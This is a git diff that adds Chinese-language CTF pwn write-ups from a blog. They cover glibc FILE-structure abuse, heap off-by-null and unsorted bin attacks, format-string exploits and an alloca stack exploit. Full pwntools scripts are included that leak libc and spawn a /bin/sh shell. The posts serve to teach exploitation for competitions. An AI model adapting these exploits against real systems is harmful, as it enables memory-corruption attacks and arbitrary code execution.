绕过 check + fp->_flags &= ~4; + + // _IO_buf_base buffer 的起始地址, _IO_buf_end buffer 的终止地址 + // fread 先把数据读入 [_IO_buf_base, _IO_buf_end] 形成的 buffer + // 然后复制到目的 buffer + fp->_IO_buf_base = msg; + fp->_IO_buf_end = msg + 100; + + // 设置 文件描述符, 0---> stdin, 从标准输入读数据 + fp->_fileno = 0; + fread(buf, 1, 6, fp); + + puts(msg); + puts(buf); + + return 0; +} + + ``` + ![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512657551566q5ox73ro.png?imageslim) + + + **利用 stdin / stdout 任意地址写/ 读** + +`puts`, `scanf` 等一批系统函数默认使用的 `stdin` , `stdout` ,`stderr` 等结构体进行操作,通过修改这些结构体的内容,可以更方便的实现任意地址读,任意地址写。 + + `stdin` 也是 `_IO_FILE` 结构体 + ``` + #include +#include + + +int global_val = 0xaabbccdd; + + +int main(int argc, char * argv[]) +{ + FILE *fp; + int var; + + fp = stdin; + + fp->_flags &= ~4; + + fp->_IO_buf_base = stdout; + fp->_IO_buf_end = stdout + 100; + + + scanf("%d",&var); + + printf("0x%x\n", global_val); + + return 0; +} + + ``` + 运行之 + ![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512658393494amnz5255.png?imageslim) + + 成功修改 `stdout` 结构体 + + ``` + #include +#include + +int main(int argc, char * argv[]) +{ + FILE *fp; + char *msg = "hello_stdout"; + + char *buf = malloc(100); + + fp = stdout; + + // 设置 flag 绕过 check + fp->_flags &= ~8; + fp->_flags |= 0x800; + + // _IO_write_base write数据的起始地址, _IO_write_ptr write数据的终止地址 + fp->_IO_write_base = msg; + fp->_IO_write_ptr = msg + 12; + + //绕过检查 + fp->_IO_read_end = fp->_IO_write_base; + + // write 的目的 文件描述符, 1 --> 标准输出 + fp->_fileno = 1; + puts("<----->this is append on msg "); + + return 0; +} + + ``` + + ![paste image](http://oy9h5q2k4.bkt.clouddn.com/15126587803351zrlnl5p.png?imageslim) + + 成功读到了, `msg` 的内容。 + + + 参考: + + https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique \ No newline at end of file diff --git a/source/_posts/pwn_with_file_part3.md b/source/_posts/pwn_with_file_part3.md new file mode 100644 index 00000000..7063452b --- /dev/null +++ b/source/_posts/pwn_with_file_part3.md @@ -0,0 +1,325 @@ +--- +title: Pwn with File结构体(三) +authorId: hac425 +tags: + - file struct + - off-by-null + - heap learning +categories: + - ctf + - '' +date: 2017-12-12 12:12:00 +--- +### 前言 + + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +前面介绍了几种 `File` 结构体的攻击方式,其中包括修改 `vtable`的攻击,以及在最新版本 `libc` 中 通过 修改 `File` 结构体中的一些缓冲区的指针来进行攻击的例子。 + +本文以 `hitcon 2017` 的 `ghost_in_the_heap` 为例子,介绍一下在实际中的利用方式。 + +不过我觉得这个题的精华不仅仅是在最后利用 `File` 结构体 `getshell` 那块, 前面的通过堆布局,`off-by-null` 进行堆布局的部分更是精华中的精华,通过这道题可以对 `ptmalloc` 的内存分配机制有一个更加深入的了解。 + +分析的 `idb` 文件,题目,exp: + +https://gitee.com/hac425/blog_data/tree/master/pwn_file + +### 正文 + +拿到一道题,首先看看保护措施,这里是全开。然后看看所给的各个功能的作用。 + +- `new_heap`, 最多分配 3个 `0xb0` 大小的chunk ( `malloc(0xA8)`)然后可以输入 `0xa8`个字符,注意调用的 `_isoc99_scanf("%168s", heap_table[i]);` 会在输入串的末尾 添 `\x00`, 可以 `off-by-one`. +- `delete_heap` free掉指定的 heap +- `add_ghost` 最多分配一个 `0x60` 的 chunk (`malloc(0x50)`), 随后调用 `read` 获取输入,末尾没有增加 `\x00` ,可以 `leak` +- `watch_ghost` 调用 `printf` 打印 `ghost` 的内容 +- `remove_ghost` free掉 `ghost` 指针 + + +总结一下, 我们可以 最多分配 3个 `0xb0` 大小的 `chunk`, 以及 一个 `0x60` 的 `chunk `,然后 在 分配 `heap` 有 `off-by-one` 可以修改下一块的 `size` 位(细节后面说), 分配 `ghost` 时,在输入数据后没有在数据末尾添 `\x00` ,同时有一个可以获取 `ghost` 的函数,可以 `leak` 数据。 + +有一个细节需要提一下: + +在程序中 `new_heap` 时是通过 `malloc(0xa8)`, 这样系统会分配 `0xb0` 字节的 `chunk`, 原因是对齐导致的, 剩下需要的那8个字节由下一个堆块的 `pre_size` 提供。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15130630121102mpker2n.png?imageslim) +`0x5555557571c0` 是一个 `heap` 所在 `chunk` 的基地址, 他分配了 `0xb0` 字节,位于 `0x555555757270` 的 8 字节也是给他用的。 + +**信息泄露绕过 aslr && 获得 heap 和 libc 的地址** + +先放一张信息泄露的草图压压惊 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15130538118666xsytph2.png?imageslim) + +在堆中进行信息泄露我们可以充分利用堆的分配机制,在堆的分配释放过程中会用到双向链表,这些链表就是通过 `chunk` 中的指针链接起来的。如果是 `bin` 的第一个块里面的指针就全是 `libc` 中的地址,如果 `chunk` 所属的 `bin` 有多个 `chunk` 那么` chunk` 中的指针就会指向 `heap` 中的地址。 利用这两个 `tips` , 加上上面所说的 , `watch_ghost`可以 `leak` 内存中的数据,再通过精心的堆布局,我们就可以拿到 `libc` 和 `heap` 的基地址 + +回到这个题目来看,我们条件其实是比较苛刻的,我们只有 `ghost` 的内存是能够读取的。而 分配 `ghost` 所得到的 `chunk` 的大小是 `0x60` 字节的,这是在 `fastbin` 的大小范围的, 所以我们释放后,他会进入 `fastbin` ,由于该`chunk`是其 所属 `fastbin` 的第一项, 此时 `chunk->fd` 会被设置为 `0`, `chunk->bk` 内容不变。 + +测试一下即可 +``` +add_ghost(12345, "s"*0x20) +new_heap("s") +remove_ghost() + +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513055921831mi7kjy5z.png?imageslim) + + +所以单单靠 `ghost` 是不能实现信息泄露的。 + +下面看看正确的思路。 + +**leak libc** + +首先 +``` +add_ghost(12345, "ssssssss") +new_heap("b") # heap 0 +new_heap("b") # heap 1 +new_heap("b") # heap 2 + +# ghost ---> fastbin (0x60) +remove_ghost() +del_heap(0) +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151305653826347lnu79m.png?imageslim) + +然后 + +``` +del_heap(2) #触发 malloc cosolidate , 清理 fastbin --> unsorted, 此时 ghost + heap 0 合并 +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513056836802uafbdk5q.png?imageslim) + +可以看到 `fastbin` 和 `unsorted bin` 合并了,具体原因在 `_int_free` 函数的代码里面。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513056961189b78zrtlx.png?imageslim) + +`FASTBIN_CONSOLIDATION_THRESHOLD` 的值为 `0x10000` ,当 `free`掉 `heap2` 后,会和 `top chunnk` 合并,此时的 `size` 明显大于 `0x10000`, 所以会进入 `malloc_consolidate` 清理 `fastbin` ,所以会和`unsorted bin` 合并形成了大的 `unsorted bin`. + +然后 +``` +new_heap("b") # heap 0, 切割上一步生成的 大的 unsorted bin, 剩下 0x60 , 其中包含 main_arean 的指针 +add_ghost(12345, "ssssssss") # 填满 fd 的 8 个字节, 调用 printf 时就会打印 main_arean 地址 + +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513057843165e2wv43ea.png?imageslim) + +先分配 `heap` 得到 `heap_0`, 此时原来的 `unsorted bin` 被切割, 剩下一个小的的 `unsorted bin`, 其中有指针 `fd`, `bk` 都是指向 `main_arean`, 然后我们在 分配一个 `ghost` ,填满 `fd` 的 `8` 个字节, 然后调用 `printf `时就会打印 `main_arean` 地址。 + +调试看看。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513059144543s1cj722q.png?imageslim) + +`0x00005555557570c0` 是 `add_ghost` 返回的地址,然后使用 `watch_ghost` 就能 `leak libc` 的地址了。具体可以看文末的 `exp` + + + +**leak heap** + +如果要 `leak heap` 的地址,我们需要使某一个 `bin`中有两个 `chunk`, 这里选择构造两个 `unsorted bin`. + +``` +new_heap("b") # heap 2 + +remove_ghost() +del_heap(0) +del_heap(2) # malloc cosolidate , 清理 fastbin --> unsorted, 此时 ghost + heap 0 合并 + +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513059632175y6rm23it.png?imageslim) + + +``` +new_heap("b") # heap 0 +new_heap("b") # heap 2 +# |unsorted bin 0xb0|heap 1|unsorted bin 0x60|heap 2|top chunk| +# 两个 unsorted bin 使用双向链表,链接到一起 +del_heap(1) +new_heap("b") # heap 1 +del_heap(0) +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513060635255jf7cl5sx.png?imageslim) +构造了两个 `unsorted bin`, 当 `add_ghost` 时就会拿到 下面那个 `unsorted bin`, 它的 `bk` 时指向 上面那个 `unsorted bin` 的,这样就可以 `leak heap` 了,具体看代码(这一步还有个小 `tips`, 代码里有)。 + +我们来谈谈 第一步到第二步为啥会出现 `smallbin` ,内存分配时,首先会去 `fastbin` , `smallbin` 中分配内存,不能分配就会 遍历· `unsorted bin`, 然后再去 `smallbin` 找。 + +具体流程如下( [来源](http://brieflyx.me/2016/heap/glibc-heap/) ): +- 逐个迭代 `unsorted bin`中的块,如果发现 `chunk` 的大小正好是需要的大小,则迭代过程中止,直接返回此块;否则将此块放入到对应的 `small bin` 或者 `large bin` 中,这也是整个 `heap` 管理中唯一会将 `chunk` 放入 `small bin` 与 `large bin` 中的代码。 + +- 迭代过程直到 `unsorted bin` 中没有 `chunk` 或超过最大迭代次数( `10000` )为止。 +- 随后开始在 `small bins` 与 `large bins` 中寻找 `best-fit`,即满足需求大小的最小块,如果能够找到,则分裂后将前一块返回给用户,剩下的块放入 `unsorted bin` 中。 +- 如果没能找到,则回到开头,继续迭代过程,直到 `unsorted bin` 空为止 + +所以在第一次 `new heap` 时 ,`unsorted bin`进入 `smallbin` ,然后 被切割,剩下一个 `0x60` 的`unsorted bin` , 再次 `new heap` ,`unsorted bin`进入 `smallbin`,然后在分配 `new heap` 需要的内存 `0xb0` , 然后会从 `top chunk` 分配,于是 出现了 `smallbin`。 + +下面继续 + + + +**构造exploit之 off-by-one** + +经过上一步我们已经 拿到了 `libc` 和 `heap` 的地址。下面讲讲怎么 ` getshell` +首先清理一下 `heap` +``` +remove_ghost() +del_heap(1) +del_heap(2) +``` +然后初始化一下堆状态 +``` + +add_ghost(12345, "ssssssss") +new_heap("b") # heap 0 +new_heap("b") # heap 1 +new_heap("b") # heap 2 +``` + +现在的 `heap` 是这样的 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513061917788zaualfd9.png?imageslim) + +然后构建一个较大的 `unsorted bin` +``` +remove_ghost() +del_heap(0) +del_heap(2) +new_heap("s") +new_heap("s") +log.info("create unsorted bin: |heap 0|unsorted_bin(0x60)|heap 1|heap 2|top chunk|") +# pause() + +del_heap(0) +del_heap(1) +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15130621045925vya3mql.png?imageslim) + +下面使用 `off-by-null` 进行攻击,先说说这种攻击为啥可以实现,文章开头就说, `new_heap` 时获取输入,最多可以读取 `0xa8` 个字节的数据,最后会在末尾添加 `0x00` ,所以实际上是 `0xa9` 字节 , 因为 `0xa8` 字节 时已经用完了 下一个 `chunk` 的 `presize` 区域 , 第`0xa9`字节就会覆盖 下一个 `chunk` 的 `size` 位, 这就是 `off-by-null `, 具体细节比较复杂,下面一一道来。 + + +首先触发 `off-by-one` + +``` +new_heap("a"*0xa8) +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513063756553bwp90599.png?imageslim) + +可以看到,在调用 `malloc` 分配内存后, `heap_0` 在 `heap` 的开头分配,然后在 偏移 `0xb0` 位置处有一个 `0x110` 大小的 `unsorted bin`, 此时 `heap_2` 的 `pre_size` 为 `0x110`, `pre_inuse` 为 `0`。所以通过 `heap_2` 找到的 `pre chunk` 为 `0xb0` 处开始的 `0x110` 大小的 `chunk`. + +然后 `off-by-null` 后, `unsorted bin` 的 `size` 域 变成了 `0x100` 这就造成了 `0x10` 大小的 `hole`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/151306437410482kehtxq.png?imageslim) + +`0x5555557571b0` 就是 hole. +此时 `heap_2` 的 `pre_size` 与 `pre_inuse`没变化。 + +在清理下 +``` +new_heap("s") +del_heap(0) +del_heap(1) +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513065626592mlsrd8by.png?imageslim) + +这里那两个 `unsorted bin` 不合并的原因是,系统判定下面那个 `unsorted bin` ,找到 hole 里面的 第二个 8字节,取它的最低位,为0表示已经释放,为1则未被释放。由于那里值 为 `0x3091` (不知道从哪来的),所以系统会认为它还没有被释放。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15130658619712j52ggc3.png?imageslim) + +此时 `heap_2` 的 `pre_size` 为 `0x110`, `pre_inuse` 为 `0`。如果我们释放掉 `heap2` ,系统根据 `pre_size` 找到 偏移 `0xb0` ,并且会认为 这个块已经释放( `pre_inuse` 为 `0`), 然后就会与 `heap2` 合并,这样就会有 `unsorted bin` 的交叉情况了。 + +要能成功 `free heap_2` 还需要 偏移 `0xb0` 处伪造一个 `free chunk` 来过掉 `unlink check`. +``` +# fake free chunk +add_ghost(12345, p64(heap + 0xb0)*2) +new_heap(p64(0)*8 + p64(0) + p64(0x111) + p64(heap) + p64(heap)) # 0 +new_heap("s") #防止和 top chunk 合并 + +del_heap(2) +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513066961579hq1ooo7i.png?imageslim) + + + +首先分配 `ghost` ,它的 `fd` 和 `bk` 域都是 `偏移 0xb0` , 然后在 分配 `heap` ,在 伪造`偏移 0xb0` `free chunk` , 使他的 `fd` 和 `bk` 都指向 `ghost` 所在块的基地址。 +这样就能过掉 `unlink` 的 检查 +然后 `del_heap(2)`, 获得一个 `0x1c0` 的 `unsorted bin` , 可以看到此时已经有 `free chunk` 的交叉情况了。 + +下一步,在交叉区域内构造 `unsorted bin`, 然后 分配内存,修改其中的 `bk` 进行 `unsorted bin`攻击 + + +``` +del_heap(0) +new_heap("s") # 0 +new_heap("s") # 2 + +del_heap(0) +del_heap(2) + +``` +首先释放掉 `heap0` 增加两个`heap`. ,会出现交叉的。原因有两个 `unsorted bin`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513070134752abydywfr.png?imageslim) + +然后分别释放 `heap 0`, `heap 2`,注意在释放 `heap 0` 的时候,由于画红圈标注的那个 `smallbin` 中的 `pre_inuse` 为 1, 所以 它上面的那个 `smallbin` 没有和 `unsorted bin` 合并, 原因在于,上一步 `new_heap("s") # 2` 时 , 切割完后,剩下 `chunk` 开头正好是 画红圈标注的那个 `smallbin`, 就会设置 它的 `pre_inuse` 为 1。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513070709047o8ozvocv.png?imageslim) + +最后我们有了两个 `unsorted bin`.再次分配 `heap` 时,会先分配到位于 `0x60`,大小为 `0xb0` 的 `unsorted bin`,此时我们就可以修改 位于 `0xb0` 大小为 `0x1c0` 的 `unsorted bin`的首部,进而 进行 `unsorted bin` 攻击。 + + +**unsorted bin attack** + +现在我们已经有了 `unsorted bin` 攻击的能力了,目前我知道的攻击方式如下。 + +- 修改 `global_max_fast` ,之后使用 `fastbin` 攻击, 条件不满足 (x) +- house_of_orange , 新版 libc 校验 (x) +- 修改 `stdin->_IO_base_end`, 修改 `malloc_hook`. ( ok ) + +在调用 `scanf` 获取输入时,首先会把输入的东西复制到 `[_IO_base_base, _IO_base_end]`, 最大大小为 `_IO_base_end - _IO_base_base`。 +修改 `unsorted bin` 的 `bck` 为 `_IO_base_end-0x10` ,就可以使 `_IO_base_end=main_arens+0x88`,我们就能修改很多东西了,而且 `malloc_hook` 就在这里面。 + + +``` +# 修改 unsorted bin +new_heap(p64(0)*8 + p64(0) + p64(0xb1) + p64(0) + p64(buf_end-0x10)) +# 触发unsorted bin attack, 然后输入内容,修改 malloc_hook 为 magic +new_heap(("\x00"*5 + p64(lock) + p64(0)*9 + p64(vtable)).ljust(0x1ad,"\x00")+ p64(magic)) +``` +注意 `unsorted bin` 的 `size` 域 一定要修改为 `0xb1`, 原因是 分配内存时如果 `smallbin`, `fastbin`都不能分配,就会遍历 `unsorted bin` ,如果找到大小完全匹配的就直接返回,停止遍历,否则会持续性遍历,此时的 `bck` 已经被修改为 `_IO_base_end-0x10`, 如果遍历到这个, 会 `check` ,具体原因可以自行调试看。 + +我们接下来需要分配`heap` 大小 为 `0xb0`, 设置`size` 域为 `0xb1`, 会在 `unsorted bin ` 第一次遍历后直接返回。不会报错。此时`unsorted bin`完成。 + +`magic` 可用 `one_gadget` 查找。 +最后 `del_heap(2)` 触发 `malloc`。 +``` +# 此时 unsorted bin 已经损坏, del heap 2触发 +# 堆 unsorted bin的操作 +# 触发 malloc_printerr +# malloc_printerr 里面会调用 malloc +del_heap(2) +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15130721693589g8lyo0h.png?imageslim) + + + + +### 总结 +这道题非常不错,不仅学到了利用 `file` 结构体的新型攻击方式,还可以通过这道题深入理解堆分配的流程。 + +### 参考 + +http://brieflyx.me/2016/heap/glibc-heap/ + +https://github.com/scwuaptx/CTF/tree/master/2017-writeup/hitcon/ghost_in_the_heap + +https://tradahacking.vn/hitcon-2017-ghost-in-the-heap-writeup-ee6384cd0b7 \ No newline at end of file diff --git a/source/_posts/pwn_with_format_0ctf_easyprintf.md b/source/_posts/pwn_with_format_0ctf_easyprintf.md new file mode 100644 index 00000000..be7c9d3c --- /dev/null +++ b/source/_posts/pwn_with_format_0ctf_easyprintf.md @@ -0,0 +1,91 @@ +--- +title: 格式化字符串漏洞利用实战之 0ctf-easyprintf +authorId: hac425 +tags: + - format string +categories: + - ctf +date: 2017-12-17 18:20:00 +--- +### 前言 + +这是 `0ctf` 的一道比较简单的格式化串的题目。 + + + +### 正文 + + +逻辑非常简单 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513506132721kaldyhzb.png?imageslim) + +`do_read` 可以打印内存地址的数据,可用来 泄露 `got`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513506205821m9i5ym56.png?imageslim) + +`leave` 格式化字符串漏洞。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513506227980602voj1w.png?imageslim) + +`printf(s)` 直接调用 `exit` 退出了。不过可以使用 `%1000c` 触发 `printf` 里面的 `malloc` 和 `free`, 所以思路很清楚了,修改 `free_hook` 或者 `malloc_hook` 为 `one_gadget`, 并且在格式化串末尾加上 `%1000c`触发 `malloc` 和 `free` + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513506399803fdtgne0f.png?imageslim) + +### 最后 +最开始修改 `free_hook`, 发现所有的 `one_gadget` 都不能用,后面使用了 `malloc_hook` ,终于找到一个可以用的,估计和寄存器的数据有关。 + + +exp: + +``` +from pwn import * +context(os='linux',log_level='debug') + + +p = process("./EasiestPrintf") + +# gdb.attach(p, ''' + +# c + +# ''') + +setvbuf_got = 0x08049FF0 +exit_got = 0x08049FE4 + +pause() +p.sendline(str(setvbuf_got)) +p.recvuntil("Which address you wanna read:\n") +setvbuf_addr = int(p.recv(len('0xf7e60360')), 16) +libc_addr = setvbuf_addr - 0x60360 +free_hook = libc_addr + 0x1b38b0 +malloc_hook = libc_addr + 0x1b2768 +one_gadget = libc_addr + 0x3ac69 +log.info("free_hook: " + hex(free_hook)) +log.info("one_gadget: " + hex(one_gadget)) +pause() + +payload = fmtstr_payload(7, {malloc_hook: one_gadget}) +payload += "%100000c" + +p.sendline(payload) +p.interactive() + +``` + + + + + + + + + + + + + + + diff --git a/source/_posts/pwn_with_format_decoder.md b/source/_posts/pwn_with_format_decoder.md new file mode 100644 index 00000000..bd42ba09 --- /dev/null +++ b/source/_posts/pwn_with_format_decoder.md @@ -0,0 +1,145 @@ +--- +title: 格式化字符串漏洞利用实战之 njctf-decoder +authorId: hac425 +tags: + - format string + - exploit +categories: + - ctf +date: 2017-12-17 09:51:00 +--- +### 前言 +格式化字符串漏洞也是一种比较常见的漏洞利用技术。`ctf` 中也经常出现。 + +本文以 `njctf` 线下赛的一道题为例进行实战。 + +题目链接:https://gitee.com/hac425/blog_data/blob/master/decoder + + +### 正文 + +程序的流程如下 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15134756777207wotnxfu.png?imageslim) + +部分函数已经进行了标注,看程序打印出来的提示信息就知道这个是一个 `base64` 解码的程序,然后可以通过 `猜测 + 验证` 的方式,找到那个 用于 `base64` 解码的函数。 + +这个程序的漏洞在于将 `base64` 解码后的字符串直接传入 `snprintf`, 作为 `format` 进行处理, 格式化漏洞。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15134762004787vfa2tjp.png?imageslim) + +通过格式化串可以 **任意写/任意读** , 不过这里一次格式化之后就会往下一种走到程序末尾。所以这里我采用 修改 `printf@got`的值 为 `rop gadgets`,然后进行 `rop`. + + + +还需要注意前面还有`check` ,不满足 `base64` 的格式规范的字符串是触发不了漏洞的。不过我们可以绕过这些 `check`。 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513477638571o34ns4rx.png?imageslim) + + +程序程序获取输入时使用的是 `read` 函数,然而后面的 `base64_check` 和 `base64_decode` 用到的输入的长度都是使用 `strlen` 获取的。`strlen` 是通过搜索 `\x00` 来确定字符串的长度, 而通过 `read` 我们可以输入 `\x00`, 所以我们在正常 `base64` 后面加上 `\x00` 然后布置 `rop chain` 即可。 +还有一个小技巧,触发漏洞时 , `printf` 函数还没有被调用,所以 `got` 表中保存的值还是没有经过 `重绑定` 的值。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513476750593syzw31hb.png?imageslim) + + +为了绕过栈里面的 `base64` 字符串 ,我们需要一个 `add esp` 的 `gadgets` 可以使用 `ROPgadget`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513476881379j7em7v3w.png?imageslim) + + +找到一个 `0x08048b31`, 和 `printf@got` 的值只有 `2`个字节的差距,所以使用 `%hn` 可以写两个字节,写的数据为 `0x8b31`,地址为 `0x0804B010` +``` +%35633c%7$hn +``` +然后后面调用 `printf` 时就会进入 `rop chain`, 首先通过 `rop` 调用 `puts` 打印 `read@got` 泄露 `libc` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15134770899859p7k76ct.png?imageslim) + +然后再次触发漏洞,用刚刚 `leak`的数据,布置 `rop` 调用 `system('/bin/sh')` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513477156821brdloq8e.png?imageslim) + +### 最后 + +对于 `strlen` 如果我们可以输入 `\x00`,则它的返回值我们是可以控制的。 + +通过部分修改 `got`,执行 `rop`,要注意后面紧跟着调用的函数。 + + +最后的 `exp` + +``` +from pwn import * +context(os='linux', arch='amd64', log_level='debug') + + +p = process("./decoder") + +gdb.attach(p, ''' +b *0x08048C29 +# b *0x08048C4E +b *0x08048b31 +# b *0x8048c5f +c + + ''') + +pause() + + +printf_got = 0x0804B010 +read_got = 0x0804B00C + +puts_plt = 0x08048520 + +main_addr = 0x08048B37 + + + +s = '%35633c%7$hn' +payload = base64.b64encode(s) +payload += "\x00" # pass check +payload += "A" * 3 # padding +payload += p32(printf_got) # addr to write +# payload += cyclic(40) # find ret eip offset +payload += cyclic(28) # padding for eip + +payload += p32(puts_plt) +payload += p32(main_addr) # ret addr, ret to main, again +payload += p32(0x0804B00C) # addr to leak + +p.sendline(payload) + +p.recvuntil("THIS IS A SIMPLE BASE64 DECODER\n") + +read_addr = u32(p.recv(4)) +libc_addr = read_addr - 0xd5af0 +system_addr = libc_addr + 0x3ada0 +sh_addr = libc_addr + 1423787 + +log.info("system: " + hex(system_addr)) +log.info("/bin/sh: " + hex(sh_addr)) + + + +s = '%35633c%7$hn' +payload = base64.b64encode(s) +payload += "\x00" # pass check +payload += "A" * 3 # padding +payload += p32(printf_got) # addr to write +# payload += cyclic(40) # find ret eip offset +payload += cyclic(28) # padding for eip + +payload += p32(system_addr) +payload += p32(main_addr) # ret addr, ret to main, again +payload += p32(sh_addr) # addr to leak + +p.sendline(payload) + + + + +p.interactive() +``` \ No newline at end of file diff --git a/source/_posts/pwn_with_routeros_ctf.md b/source/_posts/pwn_with_routeros_ctf.md new file mode 100644 index 00000000..3ff7a5a9 --- /dev/null +++ b/source/_posts/pwn_with_routeros_ctf.md @@ -0,0 +1,160 @@ +--- +title: 一步一步 Pwn RouterOS之ctf题练手 +authorId: hac425 +tags: + - alloca + - ctf +categories: + - pwn_router_os +date: 2018-01-05 21:38:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 + +--- + + +本文目的是以一道比较简单的 `ctf` 的练手,为后面的分析 `RouterOs` 的 漏洞和写 `exploit` 打基础。 + +`Seccon CTF quals 2016` 的一道题。 + +题目,idb 文件: + +https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca + + +### 正文 +首先看看 `main` 函数的代码。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15151601513002tz99qyj.png?imageslim) + +逻辑还是比较简单的获取输入后,简单的加了 `30` 就给 `alloca` 去分配空间,然后进入 `message` 函数。 + +`alloca` 函数是 从 栈上分配内存, 它分配内存是通过 `sub esp , *` 来实现的,我们可以转到汇编代码看看。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515160871164u36cvqez.png?imageslim) + +可以看到调用 `alloca` 实际就是通过 `sub esp, eax` 来分配栈内存。 + +我们输入的 `num` 是 `int` 类型的 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515161037092srnu0pi2.png?imageslim) + +如果我们输入 `num` 为 负数, `sub esp` 就相当于 `add esp` 我们可以把栈指针往栈底移动。 + +继续往下看 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515161251064vsu5zpke.png?imageslim) + +接下来会调用 `message` 函数, 可以看到传给他的参数为 `esp + 23` 和 `num` , 进入 `message` 函数 ,看看他的逻辑。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515161389377ru08eqe3.png?imageslim) +首先读取 `n` 个字符 到 `buf` , 这两个变量就是我们传入的参数。 + +然后读入 `0x40` 个字符到 `message` 函数自己定义的局部变量中。 + +一切都很正常,没有溢出,没有格式化字符串漏洞。 + + +程序的漏洞在于传入的 `buf` 是通过 `alloca` 分配的内存,我们可以通过输入 负数 使得 `alloca`的参数为负, 这样我们就可以把 `esp` 往栈底移动,栈底有**返回地址**, 然后通过 `message` 中读取数据,覆盖 `eip` 然后进行 `rop` 即可。 + +要触发漏洞我们需要输入负数,所以在 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515162118968n3v5nlzd.png?imageslim) +会直接返回,不会获取输入,因为它里面调用的是 `fgets`来获取输入。`fgets`会有检查。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515162247314nycp4hlw.png?imageslim) + +所以我们只能往 `message` 函数内的缓冲区 `t_buf`写数据,不过这个缓冲区也是在栈上,同样与 `esp` 相关,所以我们把`esp` 往栈底移时,它也是会跟着下移,通过它也可以写 `返回地址` 的值。 + +我们可以输入 `-140`(这个值可以通过 先输入一个 比较小的比如 `-32`, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整) + +在 `0x0804860E` 设个断点 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515164055082ht6doej3.png?imageslim) + +`sub` 之后 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515164096301tgle7wih.png?imageslim) + +可以看到 `esp` 已经增大。 +然后加上一定的 `padding` (可以使用 `pwntools` 的 `cyclic` 计算) ,就能修改 返回地址了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1515164574183kx3lzgi2.png?imageslim) + +之后就是正常的 `rop` + +----------- + +使用 `printf` 打印 `got` 表中的 `printf` 的值,泄露 `libc` 的地址。然后回到程序的开始,再次触发漏洞, 调用 `system("sh")` + +---------- + + +### 总结 + +`alloca` 的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 `cyclic` 确定精确的偏移。 + + +**exp** + +``` +from pwn import * + +context.log_level = 'debug' +context.terminal = ['tmux', 'splitw', '-v'] +r = process("./cheer_msg") + +binary = ELF('cheer_msg') +libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') + +gdb.attach(r, ''' +bp 0x0804868B +bp 0x08048610 + ''') + +r.recvuntil("Length >> ") +r.sendline("-140") +r.recvuntil("Name >> ") + +payload = "a" * 0x10 # padding +payload += p32(binary.symbols['printf']) +payload += p32(binary.entry) # ret to start +payload += p32(binary.got['printf']) + +r.sendline(payload) + +r.recvuntil("Message :") +r.recv(1) +r.recv(1) +printf_addr = u32(r.recv(4)) +libc_base = printf_addr - libc.symbols['printf'] +sh = libc_base + libc.search("/bin/sh\x00").next() +system = libc_base + libc.symbols['system'] + +log.info("got system: " + hex(system)) +log.info("got base: " + hex(libc_base)) +log.info("get sh " + hex(sh)) + + + +r.recvuntil("Length >> ") +r.sendline("-140") +r.recvuntil("Name >> ") + +payload = "a" * 0x10 # padding +payload += p32(system) +payload += p32(binary.entry) +payload += p32(sh) +r.sendline(payload) + +r.interactive() + +``` + + + +参考: + +https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg \ No newline at end of file diff --git a/source/_posts/pwn_with_srop.md b/source/_posts/pwn_with_srop.md new file mode 100644 index 00000000..c55a69b4 --- /dev/null +++ b/source/_posts/pwn_with_srop.md @@ -0,0 +1,206 @@ +--- +title: srop实战 +authorId: hac425 +tags: + - srop + - rop +categories: + - ctf +date: 